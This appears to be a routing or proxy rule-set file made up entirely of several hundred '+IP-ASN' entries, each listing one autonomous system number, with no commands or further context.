+IP-ASN, 396243 +IP-ASN, 396242 +IP-ASN, 396249 +IP-ASN, 396248 +IP-ASN, 23389 +IP-ASN, 22058 +IP-ASN, 22057 +IP-ASN, 23398 +IP-ASN, 23397 +IP-ASN, 22066 +IP-ASN, 22065 +IP-ASN, 22064 +IP-ASN, 23394 +IP-ASN, 22063 +IP-ASN, 22062 +IP-ASN, 23393 +IP-ASN, 397587 +IP-ASN, 11398 +IP-ASN, 11399 +IP-ASN, 397589 +IP-ASN, 396258 +IP-ASN, 36695 +IP-ASN, 396257 +IP-ASN, 36693 +IP-ASN, 396252 +IP-ASN, 36692 +IP-ASN, 397582 +IP-ASN, 396254 +IP-ASN, 397585 +IP-ASN, 36691 +IP-ASN, 396253 +IP-ASN, 36690 +IP-ASN, 396259 +IP-ASN, 22048 +IP-ASN, 23377 +IP-ASN, 22046 +IP-ASN, 22056 +IP-ASN, 23387 +IP-ASN, 23386 +IP-ASN, 22054 +IP-ASN, 22053 +IP-ASN, 23384 +IP-ASN, 22051 +IP-ASN, 23381 +IP-ASN, 22050 +IP-ASN, 397581 +IP-ASN, 36687 +IP-ASN, 396267 +IP-ASN, 11387 +IP-ASN, 36686 +IP-ASN, 397597 +IP-ASN, 396269 +IP-ASN, 11389 +IP-ASN, 396268 +IP-ASN, 36683 +IP-ASN, 36682 +IP-ASN, 396262 +IP-ASN, 397593 +IP-ASN, 36681 +IP-ASN, 7148 +IP-ASN, 397596 +IP-ASN, 396264 +IP-ASN, 397595 +IP-ASN, 22039 +IP-ASN, 23369 +IP-ASN, 22038 +IP-ASN, 23368 +IP-ASN, 23367 +IP-ASN, 22035 +IP-ASN, 23366 +IP-ASN, 23376 +IP-ASN, 22044 +IP-ASN, 23374 +IP-ASN, 22043 +IP-ASN, 22042 +IP-ASN, 22041 +IP-ASN, 23372 +IP-ASN, 22040 +IP-ASN, 23371 +IP-ASN, 23370 +IP-ASN, 7146 +IP-ASN, 397590 +IP-ASN, 396261 +IP-ASN, 397591 +IP-ASN, 396260 +IP-ASN, 11394 +IP-ASN, 36679 +IP-ASN, 36678 +IP-ASN, 11395 +IP-ASN, 11396 +IP-ASN, 36677 +IP-ASN, 11397 +IP-ASN, 396278 +IP-ASN, 36675 +IP-ASN, 11377 +IP-ASN, 36674 +IP-ASN, 36673 +IP-ASN, 11378 +IP-ASN, 11379 +IP-ASN, 396279 +IP-ASN, 36671 +IP-ASN, 396274 +IP-ASN, 396276 +IP-ASN, 396275 +IP-ASN, 23359 +IP-ASN, 22028 +IP-ASN, 22027 +IP-ASN, 23357 +IP-ASN, 23356 +IP-ASN, 22024 +IP-ASN, 22034 +IP-ASN, 7150 +IP-ASN, 23363 +IP-ASN, 22032 +IP-ASN, 22030 +IP-ASN, 23361 +IP-ASN, 396270 +IP-ASN, 7155 +IP-ASN, 396272 +IP-ASN, 11381 +IP-ASN, 396271 +IP-ASN, 36669 +IP-ASN, 11382 +IP-ASN, 11383 +IP-ASN, 7153 +IP-ASN, 36667 +IP-ASN, 7151 +IP-ASN, 7152 +IP-ASN, 36665 +IP-ASN, 11386 +IP-ASN, 396289 +IP-ASN, 11365 +IP-ASN, 396288 +IP-ASN, 36661 +IP-ASN, 11369 +IP-ASN, 396285 +IP-ASN, 36660 +IP-ASN, 396284 +IP-ASN, 396287 +IP-ASN, 396286 +IP-ASN, 62915 +IP-ASN, 48606 +IP-ASN, 62914 +IP-ASN, 23349 +IP-ASN, 22018 +IP-ASN, 62912 +IP-ASN, 23348 +IP-ASN, 23347 +IP-ASN, 22015 +IP-ASN, 22014 +IP-ASN, 23344 +IP-ASN, 22013 +IP-ASN, 7160 +IP-ASN, 23354 +IP-ASN, 22022 +IP-ASN, 23352 +IP-ASN, 22020 +IP-ASN, 23351 +IP-ASN, 62918 +IP-ASN, 62917 +IP-ASN, 396281 +IP-ASN, 396280 +IP-ASN, 396283 +IP-ASN, 36659 +IP-ASN, 36658 +IP-ASN, 11372 +IP-ASN, 36657 +IP-ASN, 7165 +IP-ASN, 36656 +IP-ASN, 36655 +IP-ASN, 11374 +IP-ASN, 7163 +IP-ASN, 11375 +IP-ASN, 11354 +IP-ASN, 396299 +IP-ASN, 36652 +IP-ASN, 11355 +IP-ASN, 36651 +IP-ASN, 11357 +IP-ASN, 396296 +IP-ASN, 396295 +IP-ASN, 11359 +IP-ASN, 396298 +IP-ASN, 62904 +IP-ASN, 50937 +IP-ASN, 22009 +IP-ASN, 23339 +IP-ASN, 62902 +IP-ASN, 23338 +IP-ASN, 22007 +IP-ASN, 22006 +IP-ASN, 62901 +IP-ASN, 23337 +IP-ASN, 22005 +IP-ASN, 23336 +IP-ASN, 62900 +IP-ASN, 23335 +IP-ASN, 22003 +IP-ASN, 22002 +IP-ASN, 7171 +IP-ASN, 25995 +IP-ASN, 22012 +IP-ASN, 23342 +IP-ASN, 25996 +IP-ASN, 25997 +IP-ASN, 23341 +IP-ASN, 7170 +IP-ASN, 62909 +IP-ASN, 199018 +IP-ASN, 62907 +IP-ASN, 62905 +IP-ASN, 396292 +IP-ASN, 396291 +IP-ASN, 36649 +IP-ASN, 11360 +IP-ASN, 36647 +IP-ASN, 11361 +IP-ASN, 36646 +IP-ASN, 11362 +IP-ASN, 36645 +IP-ASN, 36644 +IP-ASN, 396290 +IP-ASN, 11363 +IP-ASN, 11364 +IP-ASN, 7106 +IP-ASN, 7105 +IP-ASN, 398927 +IP-ASN, 398928 +IP-ASN, 398926 +IP-ASN, 398923 +IP-ASN, 398921 +IP-ASN, 398922 +IP-ASN, 398918 +IP-ASN, 398919 +IP-ASN, 212503 +IP-ASN, 398931 +IP-ASN, 397600 +IP-ASN, 7116 +IP-ASN, 397606 +IP-ASN, 397605 +IP-ASN, 397608 +IP-ASN, 397607 +IP-ASN, 398937 +IP-ASN, 398934 +IP-ASN, 397602 +IP-ASN, 397601 +IP-ASN, 398932 +IP-ASN, 397604 +IP-ASN, 397603 +IP-ASN, 398933 +IP-ASN, 398929 +IP-ASN, 398942 +IP-ASN, 397611 +IP-ASN, 398940 +IP-ASN, 7127 +IP-ASN, 398949 +IP-ASN, 397616 +IP-ASN, 398947 +IP-ASN, 397619 +IP-ASN, 397618 +IP-ASN, 398945 +IP-ASN, 398946 +IP-ASN, 397612 +IP-ASN, 398943 +IP-ASN, 397615 +IP-ASN, 397614 +IP-ASN, 397620 +IP-ASN, 398952 +IP-ASN, 398953 +IP-ASN, 7138 +IP-ASN, 201834 +IP-ASN, 397627 +IP-ASN, 398958 +IP-ASN, 398956 +IP-ASN, 398957 +IP-ASN, 397626 +IP-ASN, 397625 +IP-ASN, 7133 +IP-ASN, 396300 +IP-ASN, 398963 +IP-ASN, 397630 +IP-ASN, 398964 +IP-ASN, 397633 +IP-ASN, 398961 +IP-ASN, 396301 +IP-ASN, 397632 +IP-ASN, 398960 +IP-ASN, 396307 +IP-ASN, 398969 +IP-ASN, 397635 +IP-ASN, 398967 +IP-ASN, 396303 +IP-ASN, 398965 +IP-ASN, 396305 +IP-ASN, 397642 +IP-ASN, 396311 +IP-ASN, 397641 +IP-ASN, 396310 +IP-ASN, 397644 +IP-ASN, 398972 +IP-ASN, 396312 +IP-ASN, 398971 +IP-ASN, 397640 +IP-ASN, 396319 +IP-ASN, 396318 +IP-ASN, 398978 +IP-ASN, 397646 +IP-ASN, 397645 +IP-ASN, 396314 +IP-ASN, 396317 +IP-ASN, 398976 +IP-ASN, 397648 +IP-ASN, 397647 +IP-ASN, 398977 +IP-ASN, 396322 +IP-ASN, 397652 +IP-ASN, 398986 +IP-ASN, 396321 +IP-ASN, 397655 +IP-ASN, 396324 +IP-ASN, 397654 +IP-ASN, 396323 +IP-ASN, 398984 +IP-ASN, 397651 +IP-ASN, 396320 +IP-ASN, 397650 +IP-ASN, 398980 +IP-ASN, 398989 +IP-ASN, 396326 +IP-ASN, 396325 +IP-ASN, 398987 +IP-ASN, 398988 +IP-ASN, 397658 +IP-ASN, 396327 +IP-ASN, 397664 +IP-ASN, 396333 +IP-ASN, 395001 +IP-ASN, 398997 +IP-ASN, 396332 +IP-ASN, 395002 +IP-ASN, 395003 +IP-ASN, 398994 +IP-ASN, 397666 +IP-ASN, 396335 +IP-ASN, 397665 +IP-ASN, 396334 +IP-ASN, 398992 +IP-ASN, 398993 +IP-ASN, 398990 +IP-ASN, 396330 +IP-ASN, 395000 +IP-ASN, 397661 +IP-ASN, 395009 +IP-ASN, 396337 +IP-ASN, 397668 +IP-ASN, 396336 +IP-ASN, 395006 +IP-ASN, 398998 +IP-ASN, 395007 +IP-ASN, 397669 +IP-ASN, 62896 +IP-ASN, 60234 +IP-ASN, 62894 +IP-ASN, 13920 +IP-ASN, 62893 +IP-ASN, 62892 +IP-ASN, 62891 +IP-ASN, 13921 +IP-ASN, 13924 +IP-ASN, 13926 +IP-ASN, 13925 +IP-ASN, 13928 +IP-ASN, 200598 +IP-ASN, 13927 +IP-ASN, 25905 +IP-ASN, 25906 +IP-ASN, 25907 +IP-ASN, 25909 +IP-ASN, 62884 +IP-ASN, 62883 +IP-ASN, 62882 +IP-ASN, 13913 +IP-ASN, 13912 +IP-ASN, 13915 +IP-ASN, 13917 +IP-ASN, 13916 +IP-ASN, 13919 +IP-ASN, 62889 +IP-ASN, 13918 +IP-ASN, 62887 +IP-ASN, 62886 +IP-ASN, 13900 +IP-ASN, 13902 +IP-ASN, 13901 +IP-ASN, 13904 +IP-ASN, 13907 +IP-ASN, 13909 +IP-ASN, 200570 +IP-ASN, 211233 +IP-ASN, 141706 +IP-ASN, 211223 +IP-ASN, 200556 +IP-ASN, 141781 +IP-ASN, 60281 +IP-ASN, 60261 +IP-ASN, 398906 +IP-ASN, 398903 +IP-ASN, 398902 +IP-ASN, 398900 +IP-ASN, 141749 +IP-ASN, 398917 +IP-ASN, 398914 +IP-ASN, 398912 +IP-ASN, 398913 +IP-ASN, 398911 +IP-ASN, 398908 +IP-ASN, 11222 +IP-ASN, 36521 +IP-ASN, 11223 +IP-ASN, 13886 +IP-ASN, 13889 +IP-ASN, 11227 +IP-ASN, 13888 +IP-ASN, 11228 +IP-ASN, 395098 +IP-ASN, 23209 +IP-ASN, 62816 +IP-ASN, 62815 +IP-ASN, 23207 +IP-ASN, 62814 +IP-ASN, 62813 +IP-ASN, 62812 +IP-ASN, 23204 +IP-ASN, 25871 +IP-ASN, 62811 +IP-ASN, 62810 +IP-ASN, 25873 +IP-ASN, 25863 +IP-ASN, 23211 +IP-ASN, 25864 +IP-ASN, 25867 +IP-ASN, 62819 +IP-ASN, 25869 +IP-ASN, 62817 +IP-ASN, 36519 +IP-ASN, 395092 +IP-ASN, 36517 +IP-ASN, 36516 +IP-ASN, 36515 +IP-ASN, 395095 +IP-ASN, 36514 +IP-ASN, 13892 +IP-ASN, 11230 +IP-ASN, 36513 +IP-ASN, 395090 +IP-ASN, 11231 +IP-ASN, 11232 +IP-ASN, 13893 +IP-ASN, 9087 +IP-ASN, 395091 +IP-ASN, 11211 +IP-ASN, 11212 +IP-ASN, 13876 +IP-ASN, 11214 +IP-ASN, 11215 +IP-ASN, 13877 +IP-ASN, 11217 +IP-ASN, 11218 +IP-ASN, 11219 +IP-ASN, 62804 +IP-ASN, 62803 +IP-ASN, 62802 +IP-ASN, 62801 +IP-ASN, 62800 +IP-ASN, 25861 +IP-ASN, 23200 +IP-ASN, 25853 +IP-ASN, 25854 +IP-ASN, 62809 +IP-ASN, 50835 +IP-ASN, 62808 +IP-ASN, 25857 +IP-ASN, 62807 +IP-ASN, 36509 +IP-ASN, 36508 +IP-ASN, 36506 +IP-ASN, 36504 +IP-ASN, 36503 +IP-ASN, 13880 +IP-ASN, 36502 +IP-ASN, 36501 +IP-ASN, 11221 +IP-ASN, 13882 +IP-ASN, 36500 +IP-ASN, 62830 +IP-ASN, 11200 +IP-ASN, 13862 +IP-ASN, 11203 +IP-ASN, 11204 +IP-ASN, 13866 +IP-ASN, 11205 +IP-ASN, 13869 +IP-ASN, 11206 +IP-ASN, 13868 +IP-ASN, 11207 +IP-ASN, 62838 +IP-ASN, 11208 +IP-ASN, 62834 +IP-ASN, 62833 +IP-ASN, 62832 +IP-ASN, 25850 +IP-ASN, 25851 +IP-ASN, 25841 +IP-ASN, 25842 +IP-ASN, 50842 +IP-ASN, 25843 +IP-ASN, 25844 +IP-ASN, 25845 +IP-ASN, 25846 +IP-ASN, 62839 +IP-ASN, 25849 +IP-ASN, 13871 +IP-ASN, 13853 +IP-ASN, 13855 +IP-ASN, 13858 +IP-ASN, 13857 +IP-ASN, 62827 +IP-ASN, 62826 +IP-ASN, 62825 +IP-ASN, 62822 +IP-ASN, 62821 +IP-ASN, 62820 +IP-ASN, 25840 +IP-ASN, 25830 +IP-ASN, 25831 +IP-ASN, 25836 +IP-ASN, 25837 +IP-ASN, 62828 +IP-ASN, 13860 +IP-ASN, 13843 +IP-ASN, 13844 +IP-ASN, 13849 +IP-ASN, 62857 +IP-ASN, 62856 +IP-ASN, 62855 +IP-ASN, 62854 +IP-ASN, 25821 +IP-ASN, 25822 +IP-ASN, 25823 +IP-ASN, 25825 +IP-ASN, 25829 +IP-ASN, 13850 +IP-ASN, 13830 +IP-ASN, 62841 +IP-ASN, 13831 +IP-ASN, 13834 +IP-ASN, 13833 +IP-ASN, 13836 +IP-ASN, 13838 +IP-ASN, 13837 +IP-ASN, 13839 +IP-ASN, 62844 +IP-ASN, 25810 +IP-ASN, 25811 +IP-ASN, 25813 +IP-ASN, 25814 +IP-ASN, 25815 +IP-ASN, 25816 +IP-ASN, 25817 +IP-ASN, 211169 +IP-ASN, 25819 +IP-ASN, 62874 +IP-ASN, 62873 +IP-ASN, 13821 +IP-ASN, 62872 +IP-ASN, 13820 +IP-ASN, 13823 +IP-ASN, 62870 +IP-ASN, 13822 +IP-ASN, 13825 +IP-ASN, 13824 +IP-ASN, 13827 +IP-ASN, 13829 +IP-ASN, 13828 +IP-ASN, 62877 +IP-ASN, 62876 +IP-ASN, 25801 +IP-ASN, 25802 +IP-ASN, 25806 +IP-ASN, 25807 +IP-ASN, 25808 +IP-ASN, 25809 +IP-ASN, 62863 +IP-ASN, 62862 +IP-ASN, 62861 +IP-ASN, 13810 +IP-ASN, 13812 +IP-ASN, 13814 +IP-ASN, 13813 +IP-ASN, 13816 +IP-ASN, 62868 +IP-ASN, 13817 +IP-ASN, 62867 +IP-ASN, 13819 +IP-ASN, 62866 +IP-ASN, 62864 +IP-ASN, 48581 +IP-ASN, 397675 +IP-ASN, 396344 +IP-ASN, 396343 +IP-ASN, 395014 +IP-ASN, 396345 +IP-ASN, 397676 +IP-ASN, 395015 +IP-ASN, 397670 +IP-ASN, 397673 +IP-ASN, 395010 +IP-ASN, 397672 +IP-ASN, 397679 +IP-ASN, 396348 +IP-ASN, 397678 +IP-ASN, 396347 +IP-ASN, 395018 +IP-ASN, 395019 +IP-ASN, 23297 +IP-ASN, 23296 +IP-ASN, 23295 +IP-ASN, 23294 +IP-ASN, 23293 +IP-ASN, 23291 +IP-ASN, 23290 +IP-ASN, 36599 +IP-ASN, 397686 +IP-ASN, 36598 +IP-ASN, 396354 +IP-ASN, 395024 +IP-ASN, 397688 +IP-ASN, 36596 +IP-ASN, 396356 +IP-ASN, 36595 +IP-ASN, 36593 +IP-ASN, 396350 +IP-ASN, 395020 +IP-ASN, 397684 +IP-ASN, 36591 +IP-ASN, 36590 +IP-ASN, 396359 +IP-ASN, 395027 +IP-ASN, 397689 +IP-ASN, 396358 +IP-ASN, 395029 +IP-ASN, 23279 +IP-ASN, 23278 +IP-ASN, 23288 +IP-ASN, 23286 +IP-ASN, 23284 +IP-ASN, 23282 +IP-ASN, 23281 +IP-ASN, 23280 +IP-ASN, 36589 +IP-ASN, 397697 +IP-ASN, 11288 +IP-ASN, 36587 +IP-ASN, 396366 +IP-ASN, 395034 +IP-ASN, 395035 +IP-ASN, 397696 +IP-ASN, 396365 +IP-ASN, 11289 +IP-ASN, 395036 +IP-ASN, 397699 +IP-ASN, 396368 +IP-ASN, 395037 +IP-ASN, 396362 +IP-ASN, 395030 +IP-ASN, 35251 +IP-ASN, 396361 +IP-ASN, 36582 +IP-ASN, 397692 +IP-ASN, 395032 +IP-ASN, 36581 +IP-ASN, 397694 +IP-ASN, 36580 +IP-ASN, 395033 +IP-ASN, 395038 +IP-ASN, 396369 +IP-ASN, 23268 +IP-ASN, 23267 +IP-ASN, 23277 +IP-ASN, 23275 +IP-ASN, 23274 +IP-ASN, 23271 +IP-ASN, 11291 +IP-ASN, 396360 +IP-ASN, 11293 +IP-ASN, 397691 +IP-ASN, 397690 +IP-ASN, 11294 +IP-ASN, 11296 +IP-ASN, 36579 +IP-ASN, 36578 +IP-ASN, 11297 +IP-ASN, 36577 +IP-ASN, 11298 +IP-ASN, 396377 +IP-ASN, 36576 +IP-ASN, 11277 +IP-ASN, 395046 +IP-ASN, 11278 +IP-ASN, 36575 +IP-ASN, 11279 +IP-ASN, 396379 +IP-ASN, 36574 +IP-ASN, 36573 +IP-ASN, 36572 +IP-ASN, 396372 +IP-ASN, 36571 +IP-ASN, 36570 +IP-ASN, 396375 +IP-ASN, 395044 +IP-ASN, 23257 +IP-ASN, 23256 +IP-ASN, 23265 +IP-ASN, 23263 +IP-ASN, 23262 +IP-ASN, 23260 +IP-ASN, 11280 +IP-ASN, 11281 +IP-ASN, 11282 +IP-ASN, 395040 +IP-ASN, 11283 +IP-ASN, 396370 +IP-ASN, 36569 +IP-ASN, 11285 +IP-ASN, 36568 +IP-ASN, 11286 +IP-ASN, 36567 +IP-ASN, 36566 +IP-ASN, 396388 +IP-ASN, 36565 +IP-ASN, 395056 +IP-ASN, 395057 +IP-ASN, 11267 +IP-ASN, 396387 +IP-ASN, 36564 +IP-ASN, 395058 +IP-ASN, 36562 +IP-ASN, 396389 +IP-ASN, 396384 +IP-ASN, 396383 +IP-ASN, 395053 +IP-ASN, 395054 +IP-ASN, 395055 +IP-ASN, 1965 +IP-ASN, 23249 +IP-ASN, 23248 +IP-ASN, 23247 +IP-ASN, 1968 +IP-ASN, 23245 +IP-ASN, 23255 +IP-ASN, 23254 +IP-ASN, 23251 +IP-ASN, 23250 +IP-ASN, 396380 +IP-ASN, 11270 +IP-ASN, 396382 +IP-ASN, 11272 +IP-ASN, 396381 +IP-ASN, 395051 +IP-ASN, 11273 +IP-ASN, 11274 +IP-ASN, 36557 +IP-ASN, 11275 +IP-ASN, 36556 +IP-ASN, 36555 +IP-ASN, 11276 +IP-ASN, 1970 +IP-ASN, 11255 +IP-ASN, 395067 +IP-ASN, 395068 +IP-ASN, 36553 +IP-ASN, 395069 +IP-ASN, 36551 +IP-ASN, 396395 +IP-ASN, 36550 +IP-ASN, 1974 +IP-ASN, 396396 +IP-ASN, 395066 +IP-ASN, 1975 +IP-ASN, 23235 +IP-ASN, 25896 +IP-ASN, 25898 +IP-ASN, 25899 +IP-ASN, 23241 +IP-ASN, 23240 +IP-ASN, 396391 +IP-ASN, 396390 +IP-ASN, 395060 +IP-ASN, 395061 +IP-ASN, 36548 +IP-ASN, 396392 +IP-ASN, 11262 +IP-ASN, 36546 +IP-ASN, 36545 +IP-ASN, 36544 +IP-ASN, 395078 +IP-ASN, 11244 +IP-ASN, 11245 +IP-ASN, 36542 +IP-ASN, 11246 +IP-ASN, 11248 +IP-ASN, 1983 +IP-ASN, 1982 +IP-ASN, 23228 +IP-ASN, 25891 +IP-ASN, 23227 +IP-ASN, 25892 +IP-ASN, 23226 +IP-ASN, 23225 +IP-ASN, 25893 +IP-ASN, 25894 +IP-ASN, 23223 +IP-ASN, 25895 +IP-ASN, 23233 +IP-ASN, 25885 +IP-ASN, 25886 +IP-ASN, 23232 +IP-ASN, 25888 +IP-ASN, 23230 +IP-ASN, 25889 +IP-ASN, 395070 +IP-ASN, 36539 +IP-ASN, 395072 +IP-ASN, 36538 +IP-ASN, 11250 +IP-ASN, 395073 +IP-ASN, 36537 +IP-ASN, 11251 +IP-ASN, 36535 +IP-ASN, 11252 +IP-ASN, 11253 +IP-ASN, 36533 +IP-ASN, 13896 +IP-ASN, 11233 +IP-ASN, 36531 +IP-ASN, 11235 +IP-ASN, 13897 +IP-ASN, 1996 +IP-ASN, 395085 +IP-ASN, 395086 +IP-ASN, 11238 +IP-ASN, 395088 +IP-ASN, 23219 +IP-ASN, 1999 +IP-ASN, 23218 +IP-ASN, 1998 +IP-ASN, 25883 +IP-ASN, 25884 +IP-ASN, 23222 +IP-ASN, 25875 +IP-ASN, 25876 +IP-ASN, 25878 +IP-ASN, 25879 +IP-ASN, 36528 +IP-ASN, 36527 +IP-ASN, 36526 +IP-ASN, 11240 +IP-ASN, 36525 +IP-ASN, 11241 +IP-ASN, 36523 +IP-ASN, 11243 +IP-ASN, 397710 +IP-ASN, 397715 +IP-ASN, 397718 +IP-ASN, 397712 +IP-ASN, 397713 +IP-ASN, 397709 +IP-ASN, 397721 +IP-ASN, 397720 +IP-ASN, 397726 +IP-ASN, 397729 +IP-ASN, 1932 +IP-ASN, 397723 +IP-ASN, 397722 +IP-ASN, 397725 +IP-ASN, 1929 +IP-ASN, 397719 +IP-ASN, 397732 +IP-ASN, 397731 +IP-ASN, 396400 +IP-ASN, 397738 +IP-ASN, 397737 +IP-ASN, 396406 +IP-ASN, 396409 +IP-ASN, 396408 +IP-ASN, 396403 +IP-ASN, 397734 +IP-ASN, 396402 +IP-ASN, 397733 +IP-ASN, 396405 +IP-ASN, 397736 +IP-ASN, 396404 +IP-ASN, 396410 +IP-ASN, 397741 +IP-ASN, 397743 +IP-ASN, 396412 +IP-ASN, 396411 +IP-ASN, 397749 +IP-ASN, 396418 +IP-ASN, 396417 +IP-ASN, 397748 +IP-ASN, 397745 +IP-ASN, 397744 +IP-ASN, 1959 +IP-ASN, 397747 +IP-ASN, 1958 +IP-ASN, 396415 +IP-ASN, 396421 +IP-ASN, 397751 +IP-ASN, 397754 +IP-ASN, 396422 +IP-ASN, 397753 +IP-ASN, 397750 +IP-ASN, 397756 +IP-ASN, 396425 +IP-ASN, 396424 +IP-ASN, 397758 +IP-ASN, 396427 +IP-ASN, 397757 +IP-ASN, 396426 +IP-ASN, 396432 +IP-ASN, 395100 +IP-ASN, 396431 +IP-ASN, 397762 +IP-ASN, 395101 +IP-ASN, 397765 +IP-ASN, 396434 +IP-ASN, 395102 +IP-ASN, 397764 +IP-ASN, 396433 +IP-ASN, 395103 +IP-ASN, 397761 +IP-ASN, 397760 +IP-ASN, 396439 +IP-ASN, 397767 +IP-ASN, 395104 +IP-ASN, 397766 +IP-ASN, 395105 +IP-ASN, 396437 +IP-ASN, 395107 +IP-ASN, 397768 +IP-ASN, 397774 +IP-ASN, 396443 +IP-ASN, 395111 +IP-ASN, 396442 +IP-ASN, 397773 +IP-ASN, 395112 +IP-ASN, 397776 +IP-ASN, 395113 +IP-ASN, 397775 +IP-ASN, 397770 +IP-ASN, 397772 +IP-ASN, 395110 +IP-ASN, 396440 +IP-ASN, 396447 +IP-ASN, 397777 +IP-ASN, 396446 +IP-ASN, 395116 +IP-ASN, 1904 +IP-ASN, 396449 +IP-ASN, 395117 +IP-ASN, 397779 +IP-ASN, 23199 +IP-ASN, 23198 +IP-ASN, 23196 +IP-ASN, 23194 +IP-ASN, 23193 +IP-ASN, 23192 +IP-ASN, 23191 +IP-ASN, 23190 +IP-ASN, 36498 +IP-ASN, 397784 +IP-ASN, 395123 +IP-ASN, 397787 +IP-ASN, 396456 +IP-ASN, 395124 +IP-ASN, 396455 +IP-ASN, 397786 +IP-ASN, 397781 +IP-ASN, 396450 +IP-ASN, 397780 +IP-ASN, 396452 +IP-ASN, 395120 +IP-ASN, 36492 +IP-ASN, 397782 +IP-ASN, 36490 +IP-ASN, 1911 +IP-ASN, 395126 +IP-ASN, 396458 +IP-ASN, 397789 +IP-ASN, 395129 +IP-ASN, 396459 +IP-ASN, 23189 +IP-ASN, 1909 +IP-ASN, 23188 +IP-ASN, 1908 +IP-ASN, 23187 +IP-ASN, 1907 +IP-ASN, 1906 +IP-ASN, 23185 +IP-ASN, 23183 +IP-ASN, 23182 +IP-ASN, 36489 +IP-ASN, 62775 +IP-ASN, 62774 +IP-ASN, 62773 +IP-ASN, 13801 +IP-ASN, 13803 +IP-ASN, 13805 +IP-ASN, 13807 +IP-ASN, 13806 +IP-ASN, 62779 +IP-ASN, 13809 +IP-ASN, 62776 +IP-ASN, 62763 +IP-ASN, 62766 +IP-ASN, 62765 +IP-ASN, 62797 +IP-ASN, 62796 +IP-ASN, 62795 +IP-ASN, 62792 +IP-ASN, 62791 +IP-ASN, 62799 +IP-ASN, 62798 +IP-ASN, 62785 +IP-ASN, 62784 +IP-ASN, 62783 +IP-ASN, 62789 +IP-ASN, 60154 +IP-ASN, 397701 +IP-ASN, 397702 +IP-ASN, 11101 +IP-ASN, 11102 +IP-ASN, 13765 +IP-ASN, 13767 +IP-ASN, 11106 +IP-ASN, 13769 +IP-ASN, 11109 +IP-ASN, 25750 +IP-ASN, 25751 +IP-ASN, 25744 +IP-ASN, 25746 +IP-ASN, 25747 +IP-ASN, 25748 +IP-ASN, 11110 +IP-ASN, 12441 +IP-ASN, 13752 +IP-ASN, 13755 +IP-ASN, 13754 +IP-ASN, 13759 +IP-ASN, 25740 +IP-ASN, 25732 +IP-ASN, 25733 +IP-ASN, 25735 +IP-ASN, 25737 +IP-ASN, 25738 +IP-ASN, 25739 +IP-ASN, 13760 +IP-ASN, 13762 +IP-ASN, 13742 +IP-ASN, 13741 +IP-ASN, 13744 +IP-ASN, 13746 +IP-ASN, 13745 +IP-ASN, 13748 +IP-ASN, 13747 +IP-ASN, 62716 +IP-ASN, 62715 +IP-ASN, 62714 +IP-ASN, 62713 +IP-ASN, 62712 +IP-ASN, 25720 +IP-ASN, 25721 +IP-ASN, 25724 +IP-ASN, 25725 +IP-ASN, 62719 +IP-ASN, 62718 +IP-ASN, 25727 +IP-ASN, 25729 +IP-ASN, 13751 +IP-ASN, 13750 +IP-ASN, 13731 +IP-ASN, 13730 +IP-ASN, 13734 +IP-ASN, 13737 +IP-ASN, 13739 +IP-ASN, 13738 +IP-ASN, 62705 +IP-ASN, 62702 +IP-ASN, 62701 +IP-ASN, 25710 +IP-ASN, 25711 +IP-ASN, 25712 +IP-ASN, 25713 +IP-ASN, 62709 +IP-ASN, 25714 +IP-ASN, 25715 +IP-ASN, 25716 +IP-ASN, 62707 +IP-ASN, 25717 +IP-ASN, 13740 +IP-ASN, 62731 +IP-ASN, 13720 +IP-ASN, 13722 +IP-ASN, 13724 +IP-ASN, 13726 +IP-ASN, 13725 +IP-ASN, 13728 +IP-ASN, 62739 +IP-ASN, 62738 +IP-ASN, 62737 +IP-ASN, 13729 +IP-ASN, 62736 +IP-ASN, 62735 +IP-ASN, 62733 +IP-ASN, 61402 +IP-ASN, 62732 +IP-ASN, 47101 +IP-ASN, 47100 +IP-ASN, 25709 +IP-ASN, 62720 +IP-ASN, 13710 +IP-ASN, 13713 +IP-ASN, 13712 +IP-ASN, 13715 +IP-ASN, 13714 +IP-ASN, 62728 +IP-ASN, 13717 +IP-ASN, 13716 +IP-ASN, 13718 +IP-ASN, 62724 +IP-ASN, 62723 +IP-ASN, 62722 +IP-ASN, 62721 +IP-ASN, 62751 +IP-ASN, 62750 +IP-ASN, 13702 +IP-ASN, 13706 +IP-ASN, 13705 +IP-ASN, 62759 +IP-ASN, 200379 +IP-ASN, 62757 +IP-ASN, 62756 +IP-ASN, 62755 +IP-ASN, 62754 +IP-ASN, 62742 +IP-ASN, 62740 +IP-ASN, 62749 +IP-ASN, 62745 +IP-ASN, 62744 +IP-ASN, 62743 +IP-ASN, 9193 +IP-ASN, 48465 +IP-ASN, 49791 +IP-ASN, 397796 +IP-ASN, 395133 +IP-ASN, 11189 +IP-ASN, 396465 +IP-ASN, 36488 +IP-ASN, 397795 +IP-ASN, 395134 +IP-ASN, 36487 +IP-ASN, 395135 +IP-ASN, 36486 +IP-ASN, 397797 +IP-ASN, 36484 +IP-ASN, 396461 +IP-ASN, 395130 +IP-ASN, 397791 +IP-ASN, 397794 +IP-ASN, 36482 +IP-ASN, 396462 +IP-ASN, 395132 +IP-ASN, 36481 +IP-ASN, 397793 +IP-ASN, 395137 +IP-ASN, 396469 +IP-ASN, 397799 +IP-ASN, 395139 +IP-ASN, 23168 +IP-ASN, 23178 +IP-ASN, 23177 +IP-ASN, 23176 +IP-ASN, 23175 +IP-ASN, 23174 +IP-ASN, 23173 +IP-ASN, 23172 +IP-ASN, 11190 +IP-ASN, 23171 +IP-ASN, 11191 +IP-ASN, 11192 +IP-ASN, 397790 +IP-ASN, 11194 +IP-ASN, 11195 +IP-ASN, 11197 +IP-ASN, 11198 +IP-ASN, 11199 +IP-ASN, 36478 +IP-ASN, 11178 +IP-ASN, 395144 +IP-ASN, 36477 +IP-ASN, 11179 +IP-ASN, 395145 +IP-ASN, 36475 +IP-ASN, 395146 +IP-ASN, 395147 +IP-ASN, 36473 +IP-ASN, 395141 +IP-ASN, 396474 +IP-ASN, 36471 +IP-ASN, 395143 +IP-ASN, 395148 +IP-ASN, 396479 +IP-ASN, 23158 +IP-ASN, 23157 +IP-ASN, 23167 +IP-ASN, 23166 +IP-ASN, 23165 +IP-ASN, 23162 +IP-ASN, 23161 +IP-ASN, 23160 +IP-ASN, 11180 +IP-ASN, 11183 +IP-ASN, 396470 +IP-ASN, 11184 +IP-ASN, 11185 +IP-ASN, 36469 +IP-ASN, 11187 +IP-ASN, 36468 +IP-ASN, 11188 +IP-ASN, 36467 +IP-ASN, 11167 +IP-ASN, 395155 +IP-ASN, 36466 +IP-ASN, 11168 +IP-ASN, 36465 +IP-ASN, 396489 +IP-ASN, 36464 +IP-ASN, 395157 +IP-ASN, 396488 